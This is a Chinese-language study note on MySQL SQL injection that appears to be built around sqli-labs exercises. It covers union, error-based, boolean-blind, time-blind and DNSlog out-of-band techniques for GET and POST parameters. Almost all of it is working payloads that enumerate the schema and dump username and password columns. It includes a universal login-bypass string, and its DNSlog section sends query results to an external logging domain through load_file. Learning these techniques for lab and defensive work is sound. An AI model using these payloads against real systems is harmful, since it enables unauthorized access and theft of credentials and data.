SQL 注入及数据库相关恶意利用【笔记】
SQL 注入基础
显注
【GET】 union 注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数
order by n --+ 【n为字段数】
3. 确定字段的回显点
上面步骤 2 猜出几个就填几个数字
在此之前要将一个不存在的值传给参数【闭合符前】
union select 1,2,... --+
【例】
假设表中不存在 -1 这个值,则
?id=-1' union select 1,2 #
4. 获取当前数据库
union select database() --+
附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名
union select 1,...,schema_name from information_schema.schemata --+
5. 获取数据库中的表
获取当前数据库中的表union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取指定数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+
6. 获取表中列名(字段名)
union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+
获取指定数据库表中字段名
union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+
7. 获取字段名的值
union select 1,...,group_concat(字段名1,字段名...) from 表名 --+
获取指定数据库表中字段内容
union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+
【GET】 报错注入
updatexml 报错注入
浅析
函数:updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
【我们的主角是第二个参数,其他两个不用管】我们要构造一条带有 xpath 语法错误的语句,比如
0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and updatexml(1,0x7e,1) --+
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一和第三个参数随便设个 1 ,中间参数就是用 concat 将 sql 语句和 0x7e 拼接在一起
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
extractvalue 报错注入
浅析
函数:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
【只有两个参数,我们的主角是第二个参数,另外一个不用管】
【基本跟 updatexml 一样,换汤不换药】我们要构造一条带有 xpath 语法错误的语句,比如
0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and extractvalue(1,0x7e)
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一个参数随便设个 1 ,中间参数就是用 concat 将 0x7e 和 sql 语句拼接在一起
【0x7e 在前,sql语句在后(上面 updatexml 函数顺序没要求,extractvalue 函数顺序必须对)】若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and extractvalue(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users))) --+
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3. 猜解字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+
4. 猜解字段内容
and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+
floor 报错注入
浅析
众所周知,floor() 为向下取整函数。rand() 是生成 0~1 随机数的函数,将其 *2 则生成 0~2 的随机数
而 rand(0) 则生成一个固定的伪随机数
只要 rand() 里面是 0 ,那么它前十个一定是这几个数
然后将其 *2
然后再向下取整
得到这样的一个固定序列,待会会用到MySQL 在执行 select count(*) from tables group by x 这类语句时会创建一个虚拟表
【key是主键,不可重复。count(*) 用于计数】
看一眼待会要用的表
接着进行数据查询,首先会查看虚拟表中是否存在此数据,若存在则计数加 1(rand() 不会再次执行) ,否则插入数据(rand() 会再次执行)
具体流程:
查询第一条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以第一步实际是往虚拟表里插入了 1
接着查询第二条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
接着查询第三条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
接着查询第四条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以这一步实际是往虚拟表里插入了 1 ,但是表中已有主键 1 ,再插入就会导致主键冲突而报错
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 但不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)
order by n --+ 【n为字段数】
3. 猜解数据库名
union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
4. 猜解表名
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+
5. 猜解列名(字段名)
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name='表名')) x from information_schema.tables group by x --+
6. 猜解字段的内容
union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
【示例】union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+
【POST】 union 注入
与 get 提交区别
- GET 提交会被缓存,POST 不会
- GET 提交参数会被保留在浏览器的历史记录,POST 提交不会
- GET 提交可以被收藏为数千,POST 提交不会
- GET 提交有长度限制,最长 2048 个字符。POST 没有长度限制,不仅允许用 ASCII 字符,还能用二进制数据
- POST 提交更安全
基本步骤
大体跟 GET 提交注入差不多
只不过换了个提交方式而已
可以用 burp 抓包来改,也可以用 hackbar 来改
【偏方】
万能密码
uname=admin' or 1=1 #&passwd=123&submit=Submit
直接登录成功
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1
为真
id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数
order by n --+ 【n为字段数】
3. 确定字段的回显点
上面步骤 2 猜出几个就填几个数字
在此之前要将一个不存在的值传给参数【闭合符前】
union select 1,2,... --+
【例】
假设表中不存在 -1 这个值,则
uname=-1' union select 1,2 #
4. 获取当前数据库
union select database() --+
附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名
union select 1,...,schema_name from information_schema.schemata --+
5. 获取数据库中的表
获取当前数据库中的表union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取指定数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+
6. 获取表中列名(字段名)
union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+
获取指定数据库表中字段名
union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+
7. 获取字段名的值
union select 1,...,group_concat(字段名1,字段名...) from 表名 --+
获取指定数据库表中字段内容
union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+
【POST】 报错注入
与 GET 的报错注入一样,浅析直接看上面的就行了,这里直接上基本步骤
updatexml 报错注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1
为真
id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
extractvalue 报错注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3. 猜解字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+
4. 猜解字段内容
and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+
floor 报错注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)
order by n --+ 【n为字段数】
3. 猜解数据库名
union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
4. 猜解表名
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+
5. 猜解列名(字段名)
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name='表名')) x from information_schema.tables group by x --+
6. 猜解字段的内容
union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
【示例】union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+
盲注
【GET】 布尔盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面正常显示则判断正确)
and length(database()) = n --+ 【n为字符数】【可枚举出 n】
【二分法】【下面步骤用此法】
and length(database()) > n --+ 【n为字符数】
3. 猜解数据库名(若页面正常显示则判断正确)
and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
and ascii(substr(database(),...,1)) > n --+
【n为 ASCII 码,基本字符就前 128 个】
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = 's' --+
4.猜解数据库中表的数量(若页面正常显示则判断正确)
count() 函数用来返回数量and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+
【n 为数量】
5. 猜解数据库表名长度(若页面正常显示则判断正确)
length() 函数用来返回字符串长度and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
6.猜解表名(若页面正常显示则判断正确)
ascii() 函数将字符转换为 ASCII 码
substr(string,a,b) 函数用来截取字符串,表示 string 字符串从第 a 位置起, 取 b 个字符
猜解第一个表名and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第二个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+
【n 为 ASCII 码】【必须要有 limit 1,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7.猜解表中的字段数(若页面正常显示则判断正确)
and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解表中的字段名的长度(若页面正常显示则判断正确)
猜解第一个字段名的长度
and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段名(若页面正常显示则判断正确)
猜解第一个字段名
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解列中字段内容的长度(若页面正常显示则判断正确)
猜解第一个字段内容的长度
and (select length(字段名) from 表名 limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(字段名) from 表名 limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解列中字段内容(若页面正常显示则判断正确)
猜解第一个字段内容
and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【GET】 时间盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and sleep(2)
上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面刷新指定秒则判断正确)
and if(length(database())=n,sleep(2),0) --+
【n为字符数】【可枚举出 n】
and if(length(database())>n,sleep(2),0) --+
【n为字符数】【二分法】【下面步骤用此法】
3. 猜解数据库名(若页面刷新指定秒则判断正确)
and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) --+
【n为 ASCII 码,基本字符就前 128 个】
and if(ascii(substr(database(),...,1))>n,sleep(2),0) --+
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and if(substr(database(),1,1)='s',sleep(2),0) --+
4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)
and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+
【n 为数量】
5. 猜解表名长度(若页面刷新指定秒则判断正确)
and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7. 猜解表中的字段数(若页面刷新指定秒则判断正确)
and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解字段长度(若页面刷新指定秒则判断正确
猜解第一个字段长度
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段(若页面刷新指定秒则判断正确)
猜解第一个字段
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)
猜解第一个字段内容的长度
and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解字段内容(若页面刷新指定秒则判断正确)
猜解第一个字段内容
and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【GET】 DNSlog 注入
需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习
所用命令
select load_file("");
由于是读文件,需要相对应的读写权限
👇👇👇
首先查看 MySQL 是否有读写文件的权限
show variables like '%secure%';
若 secure_file_priv 的值为 NULL ,则没有读写权限
若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限
若 secure_file_priv 的值为 ,则在任何路径下都有读写权限
如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加
secure_file_priv=
保存之后重启 mysql 服务即可
前置知识
UNC 路径
\\servername\sharename
servername 表示 ip 或者域名
sharename 表示共享资源的名称 【相当于文件夹或文件,在这没那重要,名称可以不存在,但是要写】
【注意】
\\ 容易被当成转义符,建议使用 //
手动注入基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**?id=1 and sleep(2)
** 【延时判断】上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合
【以数字型为例,字符型同理】
?id=1 and 1=1
为真 【布尔判断】
?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 找一个 DNSlog 平台
找一些在线的,此教程以 CEYE 平台为例3. 获取数据库名
and (select load_file(concat('//',(select database()),'.你的Identifier/1.txt'))) --+
所以我们只需要改
select database()
和你的Identifier
即可
select database()
填 sql 注入语句4. 获取表名
只能一条一条的读,改 limit 后面的值即可
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.你的Identifier/1.txt'))) --+
5. 获取字段名
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 1,1),'.你的Identifier/1.txt'))) --+
6. 获取字段内容
and (select load_file(concat('//',(select 字段名 from 表名 limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select 字段名 from 表名 limit 1,1),'.你的Identifier/1.txt'))) --+
至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
自动化注入基本步骤
【CEYE API】
【python 2】
1. 获取 CEYE 的 api
2. 获取和配置工具
工具:DnslogSqlinj
下载下来
将配置文件的 api 和域名填成自己的
需要 python 2 环境
安装三个包
pip install gevent==1.2.2 -i https://pypi.tuna.tsinghua.edu.cn/simple pip install termcolor -i https://pypi.tuna.tsinghua.edu.cn/simple pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple
3. 用法
类似 sqlmap
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({}) --+" -D "security" --tables
注入位置要自己标出来,即后面的
({})
有时候会报错且结果不一定准确,自行判断该不该用
【POST】 布尔盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1
为真
id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面正常显示则判断正确)
and length(database()) = n --+ 【n为字符数】【可枚举出 n】
【二分法】【下面步骤用此法】
and length(database()) > n --+ 【n为字符数】
3. 猜解数据库名(若页面正常显示则判断正确)
and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
and ascii(substr(database(),...,1)) > n --+
【n为 ASCII 码,基本字符就前 128 个】
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = 's' --+
4.猜解数据库中表的数量(若页面正常显示则判断正确)
and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+
【n 为数量】
5. 猜解数据库表名长度(若页面正常显示则判断正确)
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
6.猜解表名(若页面正常显示则判断正确)
猜解第一个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第二个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+
【n 为 ASCII 码】【必须要有 limit 1,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7.猜解表中的字段数(若页面正常显示则判断正确)
and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解表中的字段名的长度(若页面正常显示则判断正确)
猜解第一个字段名的长度
and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
